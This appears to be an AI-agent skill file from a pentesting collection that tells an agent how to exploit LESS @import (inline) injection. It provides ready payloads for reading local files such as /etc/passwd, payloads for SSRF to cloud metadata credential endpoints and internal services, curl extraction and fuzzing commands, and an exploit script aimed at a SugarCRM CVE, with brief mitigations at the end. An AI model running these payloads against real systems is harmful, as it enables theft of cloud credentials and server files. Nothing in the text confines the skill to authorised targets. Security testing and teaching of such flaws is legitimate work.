Hacktricks-skills less-code-injection
Exploit LESS code injection vulnerabilities to perform SSRF and local file read attacks. Use this skill whenever you need to test for CSS preprocessor injection, identify vulnerable endpoints that process user input through LESS compilers, or extract sensitive files and cloud metadata via @import (inline) directives. Trigger this skill for any web application security testing involving CSS generation, stylesheet preview endpoints, or when you suspect user-controlled input reaches a LESS processor.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/css-injection/less-code-injection/SKILL.MDLESS Code Injection Exploitation
Overview
LESS is a CSS pre-processor that supports the
@import directive. When the (inline) option is used, the LESS engine fetches and embeds the referenced resource's contents into the compiled CSS. If user-controlled input is concatenated into a string parsed by the LESS compiler, attackers can inject arbitrary LESS code to:
- Read local files via
protocol (Local File Inclusion)file:// - Perform SSRF to access internal networks or cloud metadata services
Vulnerability Pattern
User Input → String Concatenation → LESS Compiler → @import (inline) → Arbitrary Resource Fetch
Exploitation Workflow
Step 1: Identify the Injection Point
Look for parameters that are embedded into stylesheet strings processed by LESS:
- URL parameters like
,?lm=
,?css=?style= - POST body fields containing CSS or style references
- Endpoints with paths like
,/css/preview
,/style/generate/theme/customize
Common indicators:
- Response contains compiled CSS
- Parameter name suggests "last modified" or "cache busting" (e.g.,
,lm
,cache
)v - Application has custom theming or CSS preview functionality
Step 2: Craft the Injection Payload
The basic injection pattern:
; @import (inline) '<RESOURCE_URL>'; @import (inline) 'data:text/plain,@@END@@'; //
Components:
- Terminates the previous CSS declaration;
- Closes any open block (if needed)}
- Fetches and inlines the resource@import (inline) '<URL>'
- Marker to easily extract the fetched contentdata:text/plain,@@END@@
- Comment to close the injection//
Step 3: Execute the Attack
Local File Read
1; @import (inline) 'file:///etc/passwd'; @import (inline) 'data:text/plain,@@END@@'; //
The file contents appear in the HTTP response before the
@@END@@ marker.
SSRF - Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; @import (inline) 'data:text/plain,@@END@@'; //
SSRF - Internal Network Discovery
1; @import (inline) "http://169.254.169.254/latest/meta-data/"; @import (inline) 'data:text/plain,@@END@@'; //
SSRF - Internal Service Enumeration
1; @import (inline) "http://localhost:8080/admin"; @import (inline) 'data:text/plain,@@END@@'; //
Step 4: Extract the Response
Parse the HTTP response to find content between the marker and the end of the inlined section:
# Extract content after @@END@@ marker curl -s "<URL>?<PARAM>=<PAYLOAD>" | sed -n 's/.*@@END@@\(.*\)/\1/p' # Or use grep with context curl -s "<URL>?<PARAM>=<PAYLOAD>" | grep -A 100 '@@END@@'
Automated Exploitation
Use the
exploit-less-injection.sh script for automated testing:
./exploit-less-injection.sh <TARGET_URL> <RESOURCE_PATH>
Examples:
# Read local file ./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "/etc/passwd" # SSRF cloud metadata ./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://169.254.169.254/latest/meta-data/" # Test internal service ./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://localhost:6379"
Real-World Cases
| Product | Vulnerable Endpoint | CVE | Impact |
|---|---|---|---|
| SugarCRM ≤ 14.0.0 | | CVE-2024-58258 | Unauthenticated SSRF & local file read |
Detection Techniques
Manual Testing
-
Fuzz the parameter with LESS syntax:
?lm=1; @import (inline) 'data:text/plain,TEST';If
appears in the response, the injection is possible.TEST -
Check for error messages from the LESS compiler when injecting malformed syntax.
-
Look for compiled CSS in responses that includes your test marker.
Automated Detection
# Quick test for LESS injection for param in lm css style cache v; do curl -s "http://target/endpoint?${param}=1;@import(inline)'data:text/plain,INJECTED';" | grep -q INJECTED && echo "VULNERABLE: $param" done
Mitigation Recommendations
- Never concatenate user input into LESS strings
- Use parameterized LESS compilation with strict input validation
- Disable
if not required@import (inline) - Implement allowlists for import paths
- Run LESS compilation in a sandbox with network restrictions